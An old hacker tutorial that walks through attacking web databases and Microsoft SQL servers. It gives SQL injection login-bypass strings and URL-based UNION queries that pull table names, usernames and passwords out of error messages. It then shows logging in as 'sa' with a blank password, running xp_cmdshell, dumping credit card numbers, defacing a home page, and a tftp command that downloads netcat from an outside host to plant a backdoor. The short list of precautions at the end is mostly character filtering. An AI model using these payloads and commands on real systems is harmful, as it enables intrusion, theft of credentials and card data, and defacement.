Hacking Database Servers
Databases have been the heart of a commercial website. An attack on the database servers can cause a great monetary loss for the company. Database servers are usually hacked to get the credit card information. And just one hack on a commercial site will bring down its reputation and also the customers as they also want their credit card info secured. Most of the commercial websites use Microsoft sql (MSsql) and Oracle database servers. MS sql still owns the market because the price is very low. While Oracle servers come with high price. Well some time ago Oracle had claimed itself to be “unbreakable” But hackers took it as a challenge and showed lots of bugs in it also !! I was addicted to hacking of database servers from a few months. So I just decided to share the knowledge with others. Well the things discussed here are not discovered by me ok. Yeah I experimented with them a lot.
The article is divided into two parts:
1. Using the HTTP port 80
2. Using the MS SQL port 1434
Part I – Using HTTP port 80 ( Or better would be malformed URLs)
----------------------------------------------------------------
This part will be useful not only to the hackers but also to the web designers. A common mistake made by the web designers can reveal the databases of the server to the hacker. Lets see on it. The whole game is of query strings. So it is assumed that the reader has some knowledge about queries and asp. And one more thing. This hack is done using only through the browser. So you even don't require any other tools except IE or Netscape.
Normally, inorder to make a login
page, the web designer will write the following code.
login.htm
<html>
<body>
<form method=get action="logincheck.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>
logincheck.asp
<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>
Looking at the above code at first site it seems OK. A user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the logincheck.asp page where it will be checked using the query string. If it doesn't get an entry satisfying the query and will reach end of file a message of login failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every thing really OK ?!! What about the query ?!! Is it OK. Well if you have made a page like this then a hacker can easily login successfully without knowing the password. How ? Lets look at the querry again.
"Select * from table1 where login='"&log& "' and password='" &pwd& "' "
Now if a user types his login
name as "Chintan" and password as "h4x3r" then these values
will pass to the asp page with post method and then the above query will become
"Select * from table1 where login='
Chintan ' and password=' h4x3r ' "
Thats fine. There will be an entry Chintan and h4x3r in login and
password fields in the database so we will receive a message as login
successful. Now what if I type loginname as "Chintan" and password as
hi' or 'a'='a in the password text box ? The query will become as follows:
"Select * from table1 where login='
Chintan ' and password=' hi' or 'a'='a ' "
And submit and bingo!!!!! I will get the message as Login successful !!
Did you see the smartness of hacker which was due to carelessness of web
designer ? !!
The query gets satisfied as query changes and password needs to 'hi' or 'a' needs to be equal to 'a'. Clearly password is not 'hi' but at the same time 'a'='a' . So condition is satisfied. And a hacker is in with login "Chintan" !! You can try the following in the password text box if the above doesn't work for some websites:
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Here above -- will make the rest of the query string to be a comment other conditions will not be checked. Similary you can provide
Chintan ' --
Chintan " –
or such types of other possibilites in the login name textbox
and password as anything which might let you in. Because in the query
string only login
name is checked as "Chintan" and rest is ignored due to --. Well if
you are lucky enough you get such a website were the webdesigner has done the
above mistake and then you will be able to login as any user
!!!
IMP NOTE: Hey guys I have put up a page where you can experiment for yourself
about the sql injection vulnerablity. Just go to www33.brinkster.com/chintantrivedi/login.htm
More advance hacking of Databases using ODBC error messages!!!
--------------------------------------------------------------
Above we saw as to how login
successfully without knowing password. Now over here I will show you how to
read the whole database just by using queries in the URL !! And this works only
for IIS i.e asp pages. And we know that IIS covers almost 35% of the web
market. So you will definitely get a victim just after searching a few
websites. You might have seen something like
http://www.nosecurity.com/mypage.asp?id=45
in the URLs. '?' over there shows that after it, 45 value is passed to a hidden
datatype id. Well if you don't understand then as we have seen in the above
example in the login.htm,
having two input text types with names 'login_name' and 'pass' and there values
were passed to logincheck.asp page. The same thing can be done by directly
opening the logincheck.asp page using
http://www.nosecurity.com/logincheck.asp?login_name=Chintan&pass=h4x3r
in the URL if method="get" is used instead of
method="post".
Note : or Difference between get and post method is that post method doesn't
show up values passed to next paged in the url while get method shows up the
values. To get more understanding of how they internally work read HTTP
protocol RFC 1945 and RFC 2616.
What i mean to say is that after '?' the variables which are going to be used
in that page are assigned the values. As above login_name is given value
Chintan. And different variables are separated by operator '&'.
OK so coming back, id will mostly be hidden type and according to the links you
click its value will change. This value of id is then passed in the query in
mypage.asp page and according tothe results you get the desired page at your
screen. Now if just change the value of id as 46 then you will get different
page.
Now lets start our hacking the database. Lets use the magic
of queries. Just type
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
in the URL. INFORMATION_SCHEMA.TABLES is a system table and it contains
information of all the tables of the server. In that there is field TABLE_NAME
which contains names of all the tables. See the query again
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
The result of this query is the
first table name from INFORMATION_SCHEMA.TABLES table. But the result we get is
a table name which is a string(nvarchar) and we are uniting it with 45(integer)
by
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line
From the error its clear that first table is 'logintable'. It seems that this
table might contain login names and passwords :-) So lets move in it. Type the
following in the URL
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='logintable'--
output
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_id' to a column of data type int.
/index.asp, line 5
The above error message shows that the first field or column in logintable is login_id. To get the next column name will type
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')—
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar
value 'login_name' to a column of data type int.
/index.asp, line 5
So we get one more field name as 'login_name'. To get the third field name we
will write
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar
value 'passwd' to a column of data type int.
/index.asp, line 5
Thats it. We ultimately get the 'passwd' field. Now lets get the login names
and
passwords from this table "logintable". Type
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 login_name FROM logintable—
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar
value 'Rahul' to a column of data type int.
/index.asp, line 5
Thats the login name "Rahul" and to get the password of Rahul the
query would be
http://www.nosecurity.com/mypage.asp?id=45
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'—
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar
value 'P455w0rd' to a column of data type int.
/index.asp, line 5
Voila!! login name: Rahul and password: P455w0rd. You have cracked the database
of
www.nosecurity.com And's it was possible to the request of user was not checked
properly. SQL
vulnerabilities still exist on many websites. The best solution is to parse the
user requests and filter out some characters as ',",--,:,etc.
Part II - using port 1434 (
-------------------------------------
Well uptill now we had seen how to break the database using the malformed URLs
But that was done using just port 80 (http port) But this time we would use the
port 1434 for hacking. Before that we will see what actually database servers
are and how do they work and then how to exploit them !
The designers of MS sql gave some default stored procedures along with the
product to make things flexible to the webdesigners. The procedure is nothing
but functions which can used to perform some actions on the arguments passed to
them. This procedures are very important to hackers. Some of the important ones
are
sp_passsword -> Changes password for a specific login name.
e.g. EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’
sp_tables -> Shows all the tables in the current database.
e.g. EXEC sp_tables
xp_cmdshell -> Runs arbitary command on the machine with administrator
privileges. (most imp)
xp_msver -> Shows the MS SQL server version including the all info about the
OS.
e.g. master..xp_msver
xp_regdeletekey -> Deletes a registry key.
xp_regdeletevalue ->Delets a registry value
xp_regread -> Reads a registry value
xp_regwrite -> Writes a registry key.
xp_terminate_process -> Stops a process
Well these are some important procedures. Actually there are more than 50 such
types of procedures. If you want your MS SQL server to be protected then I
would recommend to delete all of these procedures. The trick is open the Master
database using MS SQL Server Enterprise Manager. Now expand the Extended Stored
Procedures folder and delete the stored procedure by right click and delete.
Note: “Master” is an important database of the SQL server which contains all
system information like login names and system stored procedures. So if a
hacker deletes this master database then the SQL server will be down for ever.
Syslogins is the default system table which contains the usernames and
passwords of logins in the database.
Most dangerous threat : The Microsoft SQL server has default username “sa” with
password blank “”. And this has ruined lots of MS sql servers in the past. Even
a virus regarding this vulnerability had been released.
Thatz enough. Lets hack now. First we need to find out a vulnerable server.
Download a good port scanner (many out there on web ) and scan for ip addresses
having port 1433/1434 (tcp or udp) open. This is the MS Sql port which runs the
sql service. Oracle’s port no. is 1521. Lets suppose we got a vulnerable server
with ip 198.188.178.1 (its just an example so don’t even try it) Now there are
many ways to use the SQL service. Like telnet or netcat to port no. 1433/1434.
You can also use a tool known as osql.exe which ships with any SQL server 2000.
Okz. Now go to dos prompt and type.
C:>osql.exe -?
osql: unknown option ?
usage: osql [-U login id] [-P password]
[-S server] [-H hostname] [-E trusted connection]
[-d use database name] [-l login timeout] [-t query timeout]
[-h headers] [-s colseparator] [-w columnwidth]
[-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
[-L list servers] [-c cmdend]
[-q "cmdline query"] [-Q "cmdline query" and exit]
[-n remove numbering] [-m errorlevel]
[-r msgs to stderr] [-V severitylevel]
[-i inputfile] [-o outputfile]
[-p print statistics] [-b On error batch abort]
[-O use Old ISQL behavior disables the following]
<EOF> batch processing
Auto console width scaling
Wide messages
default errorlevel is -1 vs 1
[-? show syntax summary]
Well, this displays the help of the osql tool. Its clear from the help what we
have to do now. Type
C:\> osql.exe –S 198.188.178.1 –U sa –P “”
1>
Thats what we get if we login successfully else we will get an error message as
login failed for user “sa”
Now if we want to execute any command on the remote machine then just use the
“xp_cmdshell” default stored procedure.
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir
>dir.txt’”
I would prefer to use –Q option instead of –q because it exits after executing
the query. In the same manner we can execute any command on the remote machine.
We can even upload or download any files on/from the remote machine. A smart
attacker will install a backdoor on the machine to gain access to in future
also. Now as I had explained earlier we can use the “information_schema.tables”
to get the list of tables and contents of it.
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from
information_schema.tables”
And getting table names look for some table like login or accounts or users or
something like that which seems to contain some important info like credit card
no. etc.
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”
And
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard,
expdate
from users”
Output:
Username creditcard expdate
----------- ------------ ----------
Jack 5935023473209871 2004-10-03 00:00:00.000
Jill 5839203921948323 2004-07-02 00:00:00.000
Micheal 5732009850338493 2004-08-07 00:00:00.000
Ronak 5738203981300410 2004-03-02 00:00:00.000
Write something in index.html file ?
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell
‘echo defaced
by Chintan > C:\inetpub\wwwroot\index.html’”
Wanna upload any file on the remote system.
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell
‘tftp
203.192.16.12 GET nc.exe c:\nc.exe’”
And to download any file we can use the PUT request instead of GET Its just
because this commands are being executed on the remote machine and not on ours.
So if you give the GET request the command will be executed on the remote
machine and it will try to get the nc.exe file from our machine to the remote
machine.
Thatz not over. Toolz for hacking the login passwords of Sql servers are easily
available on the web. Even many buffer overflows are being discovered which can
allow user to gain the complete control of the sytem with administrator
privileges. The article is just giving some general issues about database
servers.
Remember the Sapphire worm? Which was released on 25th Jan. The worm which
exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP
ports.
Precautionay measures
---------------------------
<*> Change the default password for sa.
<*> Delete all the default stored procedures.
<*> Filter out all the characters like ,",--,:,etc.
<*> Keep upto date with patches
<*> Block the ports 1433/1434 MS SQL and 1521 (oracle) ports using firewalls.
Remember security is not an add-on feature. It depends upon the smartness of
administrator. The war between the hacker and administrator will go on and on
and on…. The person who is aware with the latest news or bug reports will win
the war. Database admins should keep in touch with some sites like
